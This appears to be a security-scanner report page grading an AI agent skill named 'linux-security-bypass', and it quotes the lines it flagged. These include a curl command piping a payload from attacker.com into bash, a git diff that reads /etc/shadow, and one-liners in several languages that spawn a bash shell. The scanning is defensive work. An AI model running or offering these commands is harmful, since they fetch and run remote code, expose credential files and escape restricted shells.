linux-security-bypass

github.com/yaklang/hack-skills
Verdict: Generally safe
0 critical2 high3 medium
B
SCORE 75 / 100
$skillox install linux-security-bypassSoon
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Why grade B?

score · 75 / 100

The current grade reflects 2 high-severity findings (any HIGH → B).

0 CRIT2 HIGH3 MED0 LOW
To reach a higher grade
  • A
    Reach Atarget score 95

    Resolve all 2 HIGH + 1 of 3 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Latest scan findings

Scan crawl-lun8jonh1uw4u2tg0jp60lgp · Thu, 28 May 2026 17:28:53 GMT · 2ms

high
Dangerous shell pattern: curl | shell
The skill contains a shell command pattern (`curl | shell`) commonly used in destructive or supply-chain attacks.
rule: dangerous-shellline: 108CWE-78
▾
106
107# Usage: pipe any ELF binary through DDexec
108curl -sL https://attacker.com/payload | bash ddexec.sh← curl | shell — common in destructive or supply-chain attacks
109
110# How it works:
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 85CWE-552
▾
83# Use allowed command to read files
84git log --oneline --all -p # git can read arbitrary files
85git diff /dev/null /etc/shadow← sensitive path — credential-exfiltration vector
86```
87
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 59CWE-78
▾
57| Interpreter | Command |
58|---|---|
59| Python | `python3 -c 'import pty; pty.spawn("/bin/bash")'` |← spawns a subprocess outside declared capabilities
60| Perl | `perl -e 'exec "/bin/bash";'` |
61| Ruby | `ruby -e 'exec "/bin/bash"'` |
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 64CWE-78
▾
62| Lua | `lua -e 'os.execute("/bin/bash")'` |
63| PHP | `php -r 'system("/bin/bash");'` |
64| Node.js | `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` |← spawns a subprocess outside declared capabilities
65| AWK | `awk 'BEGIN {system("/bin/bash")}'` |
66
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
▾
View latest scan →
skillox.io/c/linux-security-bypass